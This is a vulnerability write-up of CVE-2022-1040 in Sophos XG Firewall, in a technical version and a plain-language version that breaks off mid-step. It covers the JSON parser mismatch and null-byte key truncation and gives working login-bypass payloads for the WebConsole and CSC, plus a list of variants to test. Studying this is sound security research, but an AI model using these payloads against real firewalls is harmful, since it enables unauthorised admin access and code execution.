Sophos XG Firewall
An authentication bypass in Sophos XG Firewall allowed an attacker to log in as an existing user by exploiting a JSON parser differential between the Java web console and the C-based CSC backend, where a null byte in a duplicate key truncated the key and changed the request mode to one that always returned success. This could lead to remote code execution because the web admin has firewall control features.
Published on blog.viettelcybersecurity.com
Sophos XG Firewall is a firewall solution that provides a combination of both Firewall and Endpoint for information technology infrastructure.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Sophos XG Firewall is a firewall solution that combines firewall and endpoint protection for IT infrastructure. The vendor describes it as introducing an innovative approach to managing the firewall and detecting and responding to threats on the network.
The web application part of the product is split into several components:
- Apache: the web server receiving connections from outside.
- Jetty: the web server for the WebConsole and WebPortal, forwarded from Apache. Requests are filtered, initiated and passed back to the CSC. Sessions are handled here.
- CSC: handles the main requirements of the whole system. It uses a protocol akin to HTTP over both TCP and UDP. CSC is written in C, but the logic is written in Perl through the Perl C Language Interface.
- Perl package: contains information about verification schemes and query logic.
- PostgreSQL: used by Jetty, CSC and Perl to query data in the database.
A diagram from Code White's earlier architecture analysis shows the flow between these components.
The vulnerability discussed here is CVE-2022-1040, an authentication bypass in the User Portal and Webadmin of Sophos Firewall. The vendor advisory gives no further detail beyond stating that the bypass allows remote code execution and was reported through the Sophos bug bounty programme by an external researcher. The default WebConsole (Web Admin) already carries many features related to firewall control, so once authentication is bypassed, reaching RCE from there is quite easy.
Setup
The write-up does not describe a lab setup, accounts or tooling beyond the code snippets used to demonstrate library behaviour. The analysis works from the patch and from the Java and C code paths involved in login. The researcher also read a quick patch analysis from AttackKB covering the added JSON filter input before starting.
Finding it
At the Java web level, the patch adds a Filter that controls incoming JSON. It removes characters in the request that are in the non-printable format, that is characters below 0x20, and removes undefined Unicode characters greater than 0x007f.
That handling suggests improper JSON handling between JSON libraries, a topic covered in Bishop Fox's article on JSON interoperability vulnerabilities. In this case the relevant behaviour appears when a key is duplicated.
JSON is a key-value data format, and the specifications do not settle how implementations should handle duplicate keys:
- ECMA-404, "The JSON Data Interchange Syntax", does not mention whether key duplication occurs.
- RFC 8259, "The JavaScript Object Notation (JSON) Data Interchange Format", only says that names within an object SHOULD be unique.
Handling therefore depends on the library. In Sophos XG Firewall, both the WebConsole and the CSC use their own libraries for JSON processing, and the two libraries behave differently.
The Web Console uses the fairly old library org.json-20090211. For duplicate keys, this library throws an exception:
import org.json.JSONObject
val json = JSONObject("{ \"name\": \"test\", \"name\": \"test2\"}")
println(json)
Output: org.json.JSONException: Duplicate key "name"
at org.json.JSONObject.putOnce(JSONObject.java:1094)
at org.json.JSONObject.<init>(JSONObject.java:206)
at org.json.JSONObject.<init>(JSONObject.java:420)
json-c in CSC
The CSC uses the json-c library in its C part to parse input data. This library overwrites the old data when a key is duplicated:
#include <iostream>
#include <json-c/json.h>
int main() {
auto jsonObj = json_tokener_parse(R"({ "name": "test1", "name": "test2"})");
std::cout << json_object_to_json_string(jsonObj) << std::endl;
return 0;
}
Output: { "name": "test2" }
json-c and the null character
Because the code is in C, the NULL character in a string matters, for both keys and values. The key part is implemented with a C string for performance, and there have been problems with this before, such as the json-c issue on decoding a string with a null byte. To keep performance, the community treats this as a problem of the language rather than of the library, which means a key containing NULL is truncated:
#include <iostream>
#include <json-c/json.h>
int main() {
auto jsonObj = json_tokener_parse(R"({ "name\u0000": "test\u0000test" })");
std::cout << json_object_to_json_string(jsonObj) << std::endl;
return 0;
}
Output: { "name": "test\u0000test" }
The Java library org.json does not behave this way and retains the key.
Authentication flow
With these issues in mind, the idea is to use NULL as a truncation key and override values so that the CSC returns the correct response for the WebConsole and User Portal, bypassing authentication.
The login request is handled at the Controller. Sophos XG Firewall uses an EventBean to define and later verify the data:
public class CyberoamCommonServlet extends HttpServlet {
private void _doPost(HttpServletRequest servletRequest, HttpServletResponse response, int mode, SqlReader sqlReader) throws IOException, JSONException {
EventBean eventObject = null;
//...
eventObject = EventBean.getEventByMode(mode);
// ...
String transactionID = CSCClient.getTransactionID();
transactionBean.setTransactionID(transactionID);
CyberoamCustomHelper.process(request, response, eventObject, transactionBean, sqlReader);
// ...
}
}
The EventBean is sent back to CyberoamCustomHelper and then to WebAdminAuth or UserPortalAuth, which make a query to the CSC and verify the response again:
public class WebAdminAuth {
public static void process(final HttpServletRequest request, final HttpServletResponse response, final EventBean eventBean, final SqlReader sqlReader) {
final JSONObject jsonObject = new JSONObject(request.getParameter("json"));
final int languageId = jsonObject.getInt("languageid");
final int returnedStatus = cscClient.generateAndSendAjaxEvent(request, response, eventBean, sqlReader);
if (returnedStatus == 200 || returnedStatus == 201) {
String uname = "";
if (jsonObject.has("username")) {
uname = jsonObject.getString("username");
}
// ...
final SessionBean sessionBean = new SessionBean();
sessionBean.setUserName(uname);
// ...
}
}
}
WebAdminAuth takes only the returnedStatus parameter from cscClient to decide whether the user is authenticated:
public class CSCClient {
public int generateAndSendAjaxEvent(final HttpServletRequest request, final HttpServletResponse response, final EventBean eventBean, final SqlReader sqlReader, final boolean callOpcodeInParallel) {
int returnedStatus = 500;
try {
final TransactionBean transactionBean = new TransactionBean();
final JSONObject jsonObject = GenerateOpCode.generateOpCode(eventBean, request, response, transactionBean);
if (jsonObject != null) {
if (callOpcodeInParallel) {
returnedStatus = this.sendInParallel(eventBean, jsonObject, request, sqlReader);
} else {
returnedStatus = this.send(eventBean, jsonObject, request, sqlReader);
}
}
} catch (final Exception e) {
CyberoamLogger.error("CSC", "Error in generateAndSendAjaxEvent() : ", e);
return returnedStatus;
}
return returnedStatus;
}
private int _send(final EventBean eventBean, final JSONObject reqJSONObj, final HttpServletRequest req, final SqlReader sqlReader) {
doLogging(eventBean, reqJSONObj);
int returnValue = 200;
try {
// ...
if (CSCConstants.isCCC) {
// ...
}
else {
reqJSONObj.put("mode", eventBean.getMode());
//...
final byte[] buff = GenerateOpCode.getOpcodeWithHeader(eventBean, reqJSONObj);
final String strResponse = "";
if ("u".equalsIgnoreCase(eventBean.getComProtocol())) {
returnValue = this.sendUDP(buff, eventBean);
}
else {
returnValue = this.sendTCP(buff, eventBean);
}
}
}
catch (final Exception e) {
CyberoamLogger.error("CSC", "Exception occured in _send(): " + e, e);
returnValue = 598;
}
return returnValue;
}
private int sendTCP(final byte[] buff, final EventBean eventBean) {
try {
//...
returnValue = this.getStatusFromResponse(strResponse.toString(), eventBean);
} catch (final Exception e) {
return 598;
}
return returnValue;
}
private int sendUDP(byte[] buff, final EventBean eventBean) {
// Same sendTCP
}
}
GenerateOpCode.generateOpCode() returns JSON with the input data, and redundant information is normalised according to the request and the EventBean. GenerateOpCode.getOpcodeWithHeader() generates a CSC TCP/UDP query. The data is sent in _send() and verified again in getStatusFromResponse():
public class CSCClient {
public int getStatusFromResponse(final String response, final EventBean eventBean) {
int returnValue = 500;
try {
String strStatus = "";
if (eventBean.getResponseType() == 1) {
// ...
} else {
final int index2 = response.indexOf("\n\n");
if (index2 != -1) {
final String returnstring = response.substring(index2 + 2);
final JSONObject json = new JSONObject(returnstring);
strStatus = json.get("status").toString();
this.setStatusMessage(json.get("statusmessage").toString());
}
}
returnValue = Integer.parseInt(strStatus.trim());
} catch (final Exception e) {
returnValue = 598;
}
return returnValue;
}
}
getStatusFromResponse() relies on eventBean.getResponseType() to determine the format and return data of the CSC. The response type of login is 2. To log in, the returned data needs at least these two arguments:
{
"status": "200",
"statusmessage": "something not null"
}
Exploitation
Step 1: pick a mode that returns a success status
It is necessary to choose a mode that satisfies response type 2 and returns at least the two parameters above. About 1200 modes run on the CSC side; of these, 161 modes have a response type of 2, and not many of those return the required data. The researcher found modes 716 and 183. Inserting a complete payload produces a complete request to the CSC:
opcode apiInterface csc/1.2
content-type:json
content-length:312
{"mode":151 ,"password":"somethingnotpassword","___serverport":4444,"___component":"GUI","APIVersion":"1805.2","browser":"Firefox_100","___serverprotocol":"HTTP","languageid":"1","transactionid":"55669","___serverip":" [redacted] ","currentlyloggedinuserip":"[redacted]","username":"admin"}
csc/1.2 500 OK
content-length:61
{ "status": "500", "statusmessage": "Authentication failed" }
---
opcode apiInterface csc/1.2
content-type:json
content-length:343
{"mode":151 ,"password":"somethingnotpassword","___serverport":4444,"___component":"GUI","APIVersion":"1805.2","browser":"Firefox_100","___serverprotocol":"HTTP","languageid":"1","transactionid":"55669","___serverip":" [redacted]","currentlyloggedinuserip":"[redacted]","username":"admin", "accessaction":1, "mode\u0000":716}
csc/1.2 200 OK
content-length:47
{ "status": "200", "statusmessage": "success" }
Although mode was originally set to 151, it was reset to 716 by the key mode\u0000 because the NULL character causes truncation. The request was therefore handled as mode 716, which always returned 200 as shown.
Step 2: get the WebConsole to forward the payload
Next, the payload must be adjusted so that the WebConsole and User Portal send it back to the CSC instead of the original login payload. By default, the Controller takes all data and sends it back to the CSC. However, the payload above always receives a response of -1:
POST /webconsole/Controller HTTP/1.1
// Other request header
mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000"%3a716}&__RequestType=ajax&t=1653896534066
HTTP/1.1 200 OK
// Other response header
{"redirectionURL":"/webpages/login.jsp","status":-1}
The reason was that mode\u0000 was not included after the mode key:
{"___serverport":4444,"___component":"GUI","languageid":"1","mode\u0000":716,"transactionid":"72","accessaction":1,"mode":151,"password":"somethingnotpassword","currentlyloggedinuserid":3,"APIVersion":"1805.2","browser":"Chrome_101","___serverprotocol":"HTTP","___username":"admin","___meta":{"sessionType":1},"___serverip":"[redacted]","currentlyloggedinuserip":"[redacted]","username":"admin"}
JSONObject is implemented using a HashMap. Keys are placed in buckets by their hash value, and when retrieved, the key-value pairs are retrieved in the order of the bucket corresponding to the hash value. It is therefore necessary to choose a value that comes after mode:
import java.util.Arrays;
static int hash(Object key) {
int h;
return key == null ? 0 : (h = key.hashCode()) ^ h >>> 16;
}
static int getBucket(Object key, int capacity) {
return hash(key) & capacity - 1;
}
String[] keys = {"mode", "mode\u0000", "mode\u0000ef"};
Arrays.stream(keys).forEach((key) -> {
System.out.println("Key " + key + " put in bucket " + getBucket(key, 32));
});
Key mode put in bucket 16
Key mode[NULL] put in bucket 14
Key mode[NULL]ef put in bucket 30
Putting everything above into the payload gives the exploit.
Note that after the processing step from the CSC, the WebConsole and User Portal still use the username to query more information, so a username that already exists in the system is needed to exploit this.
Root cause
The bypass comes from a mismatch between two JSON parsers. The Java side (org.json-20090211) rejects duplicate keys with an exception and keeps a key containing a NULL character intact. The C side (json-c) overwrites the earlier value when a key is duplicated and truncates a key at the NULL character. A key such as mode\u0000 is therefore a distinct key to Java but is read as mode by the CSC, letting the attacker override the mode the Controller selected. The CSC then answers with the success status the Java side checks for, and WebAdminAuth treats any 200 or 201 as an authenticated session.
The ordering problem in step 2 is a consequence of JSONObject being backed by a HashMap, so the position of the injected key in the serialised output depends on its bucket.
Impact
An unauthenticated attacker who knows an existing username can bypass authentication on the WebConsole and User Portal. Because the Web Admin already carries many firewall control features, the researcher notes that RCE from there is quite easy. The write-up states that more than 10,000 WebConsoles are public, and that about 1000 of them had not been patched, accounting for a large number of large IPSs, leaving them very vulnerable to attacks from the internet.
Fix
In subsequent versions, Sophos patched it by not allowing unauthorised characters to be entered in endpoints, as analysed by AttackKB.
Variants to test
- Duplicate keys across parser boundaries. Send a JSON body with the same key twice, or with a key plus a NULL-truncated variant, to any endpoint where one component validates and another executes. A positive result is the two components disagreeing: the front end accepts the body while the back end acts on the second value.
- NULL truncation in keys. Use
\u0000inside a key that selects a mode, action or handler. A positive result is the back end behaving as if the truncated key had been sent, for example returning a success status for an action you did not request. - NULL truncation in values. The same trick on values, such as a username or path. A positive result is a lookup or comparison that uses only the part before the NULL.
- HashMap ordering. When an injected key must appear after another key in the serialised output, compute the bucket for candidate suffixes as shown above and pick one that lands after the original key. A positive result is the injected key appearing in the expected position in the forwarded request.
- Status-only authentication checks. Look for login handlers that decide success purely from a numeric status returned by a back-end service. A positive result is any way to make that service return 200 or 201 for a request that did not authenticate.
What happened, in plain words
Sophos XG Firewall is a security appliance: a box (or virtual machine) that sits between a company's network and the internet and decides what traffic is allowed in and out. It also has a web interface, a set of pages you open in a browser to configure it. In 2022 a researcher found a way to log in to that web interface without knowing any password. The trick was not a stolen password or a guessed one. It was a disagreement between two pieces of software inside the product about how to read the same piece of text.
When you log in to a website, your browser sends your username and password to the server. The server checks them and, if they are right, gives you a session: a short-lived proof that you are logged in, usually stored in a cookie (a small piece of data the browser keeps and sends back with every later request). Here, the login request passed through several layers of the product, and one layer read the request one way while another layer read it a different way. By crafting the request carefully, the researcher made the checking layer believe the login had succeeded, even though no valid password was ever supplied.
Because the administration interface of a firewall can change firewall rules, the researcher notes that once you are past the login, running your own code on the device (remote code execution, RCE) is quite easy. The vendor's advisory describes the issue as an authentication bypass allowing remote code execution, reported through the Sophos bug bounty programme by an external researcher. The vulnerability is tracked as CVE-2022-1040. A CVE is a public catalogue number given to a specific security flaw so people can refer to it unambiguously.
This article walks through how the researcher reached that conclusion, starting from the vendor's patch (the software update that fixed the flaw) and ending with a working request.
The product and its parts
Sophos XG Firewall combines firewall and endpoint protection for IT infrastructure. Endpoint protection means software on individual computers (laptops, servers) that watches for malicious activity; the firewall part watches the network. The vendor describes the product as introducing an innovative approach to managing the firewall and detecting and responding to threats on the network.
The web application part is split into several components. Think of it like a restaurant: the door staff, the waiter, the kitchen and the pantry all play different roles, and a message has to pass through each of them.
- Apache: the web server receiving connections from outside. This is the front door. It is the first program that sees your browser's request.
- Jetty: the web server for the WebConsole and WebPortal, forwarded from Apache. The WebConsole is the administration interface; the WebPortal is the page where ordinary users (for example employees connecting from home) log in. Jetty is the waiter: it takes the request from the door, filters it, starts processing, and passes it back to the CSC. Sessions are handled here, meaning Jetty is the part that keeps track of who is logged in.
- CSC: handles the main requirements of the whole system. It uses a protocol akin to HTTP over both TCP and UDP. A protocol is an agreed format for messages; HTTP is the language browsers and web servers speak. TCP and UDP are two ways of sending data over a network: TCP is reliable and ordered, UDP is faster and does not guarantee delivery. CSC is the kitchen: it does the real work. It is written in C, but the logic is written in Perl through the Perl C Language Interface. C is a low-level programming language close to the machine; Perl is a scripting language often used for text processing. The Perl C Language Interface lets C code call Perl code.
- Perl package: contains information about verification schemes and query logic. This is the recipe book the kitchen follows.
- PostgreSQL: used by Jetty, CSC and Perl to query data in the database. This is the pantry: the place where user accounts and settings are stored.
A diagram from Code White's earlier architecture analysis shows the flow between these components.
So a login request travels: browser, Apache, Jetty, CSC, and possibly the database, and then the answer travels back the same way. Each hop can read and rewrite the message. That is the setting for the bug.
The vulnerability: CVE-2022-1040
The vendor advisory gives no further detail beyond stating that the bypass allows remote code execution and was reported through the Sophos bug bounty programme by an external researcher. A bug bounty programme is a scheme where a company pays researchers for reporting flaws responsibly instead of exploiting them.
The default WebConsole (Web Admin) already carries many features related to firewall control. If you can bypass authentication, then reaching RCE from there is quite easy. In other words, the login page is the only lock on a door behind which sit the controls for the whole network.
Reading the patch
The researcher worked from the patch, the update Sophos shipped to fix the flaw. Comparing the old and new versions of software is a standard way to find out what a vulnerability was: the fix often points straight at the faulty code.
At the Java web level, the patch adds a Filter that controls incoming JSON. Java is a programming language; a Filter here is a piece of code that inspects every request before it is processed, like a security guard at a door checking bags. JSON is a text format for structured data, made of keys and values, for example {"name": "test"}. It is the format web applications commonly use to exchange data.
The filter removes characters in the request that are in the non-printable format, that is characters below 0x20, and removes undefined Unicode characters greater than 0x007f. Characters are stored as numbers; 0x20 is hexadecimal for 32, the space character, and anything below that is a control character such as a newline or a null. Unicode is the standard that assigns a number to every character in every writing system; 0x007f is the last of the basic Latin characters. So the filter strips control characters and unusual characters.
That handling suggests improper JSON handling between JSON libraries, a topic covered in Bishop Fox's article on JSON interoperability vulnerabilities. A library is a bundle of ready-made code that a program uses instead of writing everything itself; a JSON library is the piece that turns JSON text into data the program can use. Interoperability means two programs agreeing on the same interpretation. If two libraries read the same JSON differently, an attacker can send one piece of text that means two different things to two different parts of the system.
In this case the relevant behaviour appears when a key is duplicated. JSON is a key-value data format: each name (key) has a value, like a label on a drawer. Duplicating a key means writing the same label twice with different contents, for example {"name": "test", "name": "test2"}. Which value wins?
The specifications do not settle it:
- ECMA-404, "The JSON Data Interchange Syntax", does not mention whether key duplication occurs.
- RFC 8259, "The JavaScript Object Notation (JSON) Data Interchange Format", only says that names within an object SHOULD be unique. SHOULD, in these documents, means recommended but not mandatory.
Handling therefore depends on the library. In Sophos XG Firewall, both the WebConsole and the CSC use their own libraries for JSON processing, and the two libraries behave differently. That is the crack the researcher drove a wedge into.
The Web Console uses the fairly old library org.json-20090211. For duplicate keys, this library throws an exception, meaning it stops and reports an error rather than picking a value:
import org.json.JSONObject
val json = JSONObject("{ \"name\": \"test\", \"name\": \"test2\"}")
println(json)
Line by line:
import org.json.JSONObjectbrings in the class (a blueprint for an object) that represents a JSON object from the org.json library.val json = JSONObject(...)creates a JSON object from the text in the quotes. The text contains the keynametwice, once withtestand once withtest2. The backslashes are escapes: they let a double quote appear inside a string that is itself delimited by double quotes.println(json)prints the result, if there is one.
The output shows there is no result, only an error:
Output: org.json.JSONException: Duplicate key "name"
at org.json.JSONObject.putOnce(JSONObject.java:1094)
at org.json.JSONObject.<init>(JSONObject.java:206)
at org.json.JSONObject.<init>(JSONObject.java:420)
This is a stack trace: the program reports that a JSONException was thrown because of a duplicate key, and lists the internal functions where it happened. For our purposes the important part is the first line: this library refuses duplicate keys.
json-c in CSC
The CSC uses the json-c library in its C part to parse input data. This library overwrites the old data when a key is duplicated, so the last value wins:
#include <iostream>
#include <json-c/json.h>
int main() {
auto jsonObj = json_tokener_parse(R"({ "name": "test1", "name": "test2"})");
std::cout << json_object_to_json_string(jsonObj) << std::endl;
return 0;
}
Line by line:
#include <iostream>and#include <json-c/json.h>pull in the standard input/output library and the json-c library.int main() {starts the program's entry point.auto jsonObj = json_tokener_parse(...)parses the JSON text into an object. TheR"(...)"syntax is a raw string in C++, so the backslashes inside are not treated as escapes.std::cout << json_object_to_json_string(jsonObj) << std::endl;prints the object back as JSON text.return 0;ends the program successfully.
The output shows which value survived:
Output: { "name": "test2" }
So the same input that made the Java library throw an error makes the C library quietly keep the second value. Two components, one message, two meanings.
json-c and the null character
Because the code is in C, the NULL character in a string matters, for both keys and values. A NULL character is a byte with value zero. In C, strings are stored as a sequence of characters ending with a NULL, so a NULL in the middle of a string looks like the end. Everything after it is invisible to functions that treat the string as a C string. This is called truncation: the string is cut short.
The key part is implemented with a C string for performance, and there have been problems with this before, such as the json-c issue on decoding a string with a null byte. To keep performance, the community treats this as a problem of the language rather than of the library, which means a key containing NULL is truncated:
#include <iostream>
#include <json-c/json.h>
int main() {
auto jsonObj = json_tokener_parse(R"({ "name\u0000": "test\u0000test" })");
std::cout << json_object_to_json_string(jsonObj) << std::endl;
return 0;
}
Line by line:
- The includes and the
mainfunction are the same as before. - The JSON text now contains
\u0000inside the key and inside the value. In JSON,\u0000is the escape sequence for the NULL character. It is written as six ordinary printable characters, not as a raw zero byte. - The object is printed back out.
The output shows the key has been cut at the NULL:
Output: { "name": "test\u0000test" }
The key name\u0000 was read as name, because the C string ends at the NULL. The value kept its NULL, because values are handled differently. The Java library org.json does not behave this way and retains the key, so to Java name\u0000 and name are two different keys, while to the CSC they are the same key.
Authentication flow
With these issues in mind, the idea is to use NULL as a truncation key and override values so that the CSC returns the correct response for the WebConsole and User Portal, bypassing authentication. In plain terms: send a request that contains two keys which look different to the Java side but identical to the C side, so that the C side acts on the value the attacker wants while the Java side still sees a well-formed request.
The login request is handled at the Controller. A Controller is the part of a web application that receives a request and decides what to do with it. Sophos XG Firewall uses an EventBean to define and later verify the data. A bean, in Java, is simply an object that holds a bundle of related fields; here it holds the details of the login event.
public class CyberoamCommonServlet extends HttpServlet {
private void _doPost(HttpServletRequest servletRequest, HttpServletResponse response, int mode, SqlReader sqlReader) throws IOException, JSONException {
EventBean eventObject = null;
//...
eventObject = EventBean.getEventByMode(mode);
// ...
String transactionID = CSCClient.getTransactionID();
transactionBean.setTransactionID(transactionID);
CyberoamCustomHelper.process(request, response, eventObject, transactionBean, sqlReader);
// ...
}
}
Line by line:
public class CyberoamCommonServlet extends HttpServletdeclares a servlet, which is a Java class that handles web requests. It extendsHttpServlet, the standard base class for such handlers._doPost(...)is the method that runs when a form is submitted by POST, the HTTP method browsers use to send data. It receives the request, the response, amodenumber and aSqlReader(an object that reads from the database).EventBean eventObject = null;declares the bean, initially empty.eventObject = EventBean.getEventByMode(mode);fills the bean according to the mode number. The mode tells the system which kind of action this is, for example a login.String transactionID = CSCClient.getTransactionID();gets an identifier for this transaction, so the request and its answer can be matched up.transactionBean.setTransactionID(transactionID);stores it in the transaction bean.CyberoamCustomHelper.process(...)hands everything to a helper class that continues the processing.
The EventBean is sent back to CyberoamCustomHelper and then to WebAdminAuth or UserPortalAuth, which make a query to the CSC and verify the response again. These two classes are the login handlers for the administration console and for the user portal respectively.
public class WebAdminAuth {
public static void process(final HttpServletRequest request, final HttpServletResponse response, final EventBean eventBean, final SqlReader sqlReader) {
final JSONObject jsonObject = new JSONObject(request.getParameter("json"));
final int languageId = jsonObject.getInt("languageid");
final int returnedStatus = cscClient.generateAndSendAjaxEvent(request, response, eventBean, sqlReader);
if (returnedStatus == 200 || returnedStatus == 201) {
String uname = "";
if (jsonObject.has("username")) {
uname = jsonObject.getString("username");
}
// ...
final SessionBean sessionBean = new SessionBean();
sessionBean.setUserName(uname);
// ...
}
}
}
Line by line:
process(...)is the method that handles an administration login.new JSONObject(request.getParameter("json"))takes the request parameter namedjson(a parameter is a named value sent with the request, like a field in a form) and parses it as JSON.jsonObject.getInt("languageid")reads thelanguageidfield as a number.cscClient.generateAndSendAjaxEvent(...)sends the request on to the CSC and gets back a numeric status. Ajax is the technique of a web page talking to the server in the background without reloading the page.if (returnedStatus == 200 || returnedStatus == 201)is the crucial line: if the status is 200 or 201, the code treats the user as logged in. 200 and 201 are HTTP status codes meaning success (200 OK, 201 Created).- Inside that block, the username is read from the JSON and put into a
SessionBean, which represents the logged-in session.
WebAdminAuth takes only the returnedStatus parameter from cscClient to decide whether the user is authenticated. It does not independently check the password. So whoever controls what the CSC returns controls whether the login succeeds.
public class CSCClient {
public int generateAndSendAjaxEvent(final HttpServletRequest request, final HttpServletResponse response, final EventBean eventBean, final SqlReader sqlReader, final boolean callOpcodeInParallel) {
int returnedStatus = 500;
try {
final TransactionBean transactionBean = new TransactionBean();
final JSONObject jsonObject = GenerateOpCode.generateOpCode(eventBean, request, response, transactionBean);
if (jsonObject != null) {
if (callOpcodeInParallel) {
returnedStatus = this.sendInParallel(eventBean, jsonObject, request, sqlReader);
} else {
returnedStatus = this.send(eventBean, jsonObject, request, sqlReader);
}
}
} catch (final Exception e) {
CyberoamLogger.error("CSC", "Error in generateAndSendAjaxEvent() : ", e);
return returnedStatus;
}
return returnedStatus;
}
private int _send(final EventBean eventBean, final JSONObject reqJSONObj, final HttpServletRequest req, final SqlReader sqlReader) {
doLogging(eventBean, reqJSONObj);
int returnValue = 200;
try {
// ...
if (CSCConstants.isCCC) {
// ...
}
else {
reqJSONObj.put("mode", eventBean.getMode());
//...
final byte[] buff = GenerateOpCode.getOpcodeWithHeader(eventBean, reqJSONObj);
final String strResponse = "";
if ("u".equalsIgnoreCase(eventBean.getComProtocol())) {
returnValue = this.sendUDP(buff, eventBean);
}
else {
returnValue = this.sendTCP(buff, eventBean);
}
}
}
catch (final Exception e) {
CyberoamLogger.error("CSC", "Exception occured in _send(): " + e, e);
returnValue = 598;
}
return returnValue;
}
private int sendTCP(final byte[] buff, final EventBean eventBean) {
try {
//...
returnValue = this.getStatusFromResponse(strResponse.toString(), eventBean);
} catch (final Exception e) {
return 598;
}
return returnValue;
}
private int sendUDP(byte[] buff, final EventBean eventBean) {
// Same sendTCP
}
}
Line by line:
generateAndSendAjaxEvent(...)is the method that builds the message for the CSC and sends it. It starts withreturnedStatus = 500, a failure code, so that if anything goes wrong the answer is failure.GenerateOpCode.generateOpCode(...)builds the JSON to send, based on the event bean and the request.- If the JSON is not null, it either sends in parallel (
sendInParallel) or normally (send), depending on thecallOpcodeInParallelflag. Parallel means several requests at once. - If an exception occurs, it logs the error and returns the failure status.
_send(...)is the actual sending method. It logs the request, then, unless the system is in a special mode (CSCConstants.isCCC), it doesreqJSONObj.put("mode", eventBean.getMode()): it writes the mode into the JSON object. This is the line that matters later, because it decides wheremodeends up in the outgoing JSON.GenerateOpCode.getOpcodeWithHeader(...)turns the JSON into a byte buffer with the CSC protocol header.- Depending on the protocol (
ufor UDP), it callssendUDPorsendTCP. sendTCPsends the bytes and callsgetStatusFromResponseto interpret the answer.sendUDPis the same.
GenerateOpCode.generateOpCode() returns JSON with the input data, and redundant information is normalised according to the request and the EventBean. Normalised here means tidied up into a standard form. GenerateOpCode.getOpcodeWithHeader() generates a CSC TCP/UDP query. The data is sent in _send() and verified again in getStatusFromResponse():
public class CSCClient {
public int getStatusFromResponse(final String response, final EventBean eventBean) {
int returnValue = 500;
try {
String strStatus = "";
if (eventBean.getResponseType() == 1) {
// ...
} else {
final int index2 = response.indexOf("\n\n");
if (index2 != -1) {
final String returnstring = response.substring(index2 + 2);
final JSONObject json = new JSONObject(returnstring);
strStatus = json.get("status").toString();
this.setStatusMessage(json.get("statusmessage").toString());
}
}
returnValue = Integer.parseInt(strStatus.trim());
} catch (final Exception e) {
returnValue = 598;
}
return returnValue;
}
}
Line by line:
getStatusFromResponse(...)takes the raw text the CSC sent back and the event bean.- It starts with
returnValue = 500, again a failure default. - If the response type is 1, some other format is used (the details are not shown). Otherwise, it looks for a blank line,
\n\n, which separates the protocol header from the body, just as in HTTP. - If a blank line is found, it takes everything after it as the body, parses it as JSON, reads the
statusfield and stores thestatusmessagefield. Integer.parseInt(strStatus.trim())turns the status text into a number, which is what gets returned.- If anything fails, the answer is 598, an error code.
getStatusFromResponse() relies on eventBean.getResponseType() to determine the format and return data of the CSC. The response type of login is 2. To log in, the returned data needs at least these two arguments:
{
"status": "200",
"statusmessage": "something not null"
}
In other words, the CSC must answer with a JSON body containing a status of 200 and a statusmessage that is not empty. If it does, WebAdminAuth sees 200 and creates a session. The whole game is therefore to make the CSC produce that answer without a valid password.
Exploitation
Step 1: pick a mode that returns a success status
It is necessary to choose a mode that satisfies response type 2 and returns at least the two parameters above. A mode, remember, is a number that tells the CSC which action to perform. About 1200 modes run on the CSC side; of these, 161 modes have a response type of 2, and not many of those return the required data. The researcher found modes 716 and 183. Inserting a complete payload produces a complete request to the CSC:
opcode apiInterface csc/1.2
content-type:json
content-length:312
{"mode":151 ,"password":"somethingnotpassword","___serverport":4444,"___component":"GUI","APIVersion":"1805.2","browser":"Firefox_100","___serverprotocol":"HTTP","languageid":"1","transactionid":"55669","___serverip":" [redacted] ","currentlyloggedinuserip":"[redacted]","username":"admin"}
csc/1.2 500 OK
content-length:61
{ "status": "500", "statusmessage": "Authentication failed" }
---
opcode apiInterface csc/1.2
content-type:json
content-length:343
{"mode":151 ,"password":"somethingnotpassword","___serverport":4444,"___component":"GUI","APIVersion":"1805.2","browser":"Firefox_100","___serverprotocol":"HTTP","languageid":"1","transactionid":"55669","___serverip":" [redacted]","currentlyloggedinuserip":"[redacted]","username":"admin", "accessaction":1, "mode\u0000":716}
csc/1.2 200 OK
content-length:47
{ "status": "200", "statusmessage": "success" }
This block shows two requests and two answers, separated by ---. Line by line:
opcode apiInterface csc/1.2is the first line of the CSC protocol, naming the operation and the protocol version. It plays the role of the request line in HTTP.content-type:jsonsays the body is JSON, andcontent-length:312says how many bytes the body has.- The first body is a normal login attempt:
modeis 151 (the login mode), the password is a dummy, and the username isadmin. The fields starting with___are internal fields the product fills in, such as the server port, the component, the API version, the browser name, the protocol, the language, a transaction id and the server and client addresses. - The answer to the first request is
csc/1.2 500 OKwith a body sayingstatus500 andAuthentication failed. So the password was wrong, as expected. - The second request is the same login, but with two extra fields at the end:
"accessaction":1and"mode\u0000":716. The keymode\u0000contains the JSON escape for a NULL character. - The answer to the second request is
csc/1.2 200 OKwithstatus200 andstatusmessagesuccess.
Although mode was originally set to 151, it was reset to 716 by the key mode\u0000 because the NULL character causes truncation. The request was therefore handled as mode 716, which always returned 200 as shown. To the CSC, mode\u0000 is just mode, so the second value overwrote the first. To the Java side, mode\u0000 is a different key from mode, so nothing looked duplicated and no exception was thrown.
Step 2: get the WebConsole to forward the payload
Next, the payload must be adjusted so that the WebConsole and User Portal send it back to the CSC instead of the original login payload. By default, the Controller takes all data and sends it back to the CSC. However, the payload above always receives a response of -1:
POST /webconsole/Controller HTTP/1.1
// Other request header
mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000"%3a716}&__RequestType=ajax&t=1653896534066
HTTP/1.1 200 OK
// Other response header
{"redirectionURL":"/webpages/login.jsp","status":-1}
Line by line:
POST /webconsole/Controller HTTP/1.1is the request line: the browser is sending data (POST) to the Controller path of the WebConsole, using HTTP version 1.1.- The body is form-encoded:
mode=151andjson=...are parameters separated by&.%3ais the URL encoding of a colon,%3aand+are how special characters are written in a URL so they do not clash with the separators. - The
jsonparameter contains the login data, including the injected"mode\u0000":716. __RequestType=ajaxmarks it as a background request, andt=1653896534066is a timestamp, used to stop browsers caching the answer.- The response is HTTP 200, but the body says
statusis -1 and theredirectionURLis the login page. So the login did not succeed.
The reason was that mode\u0000 was not included after the mode key:
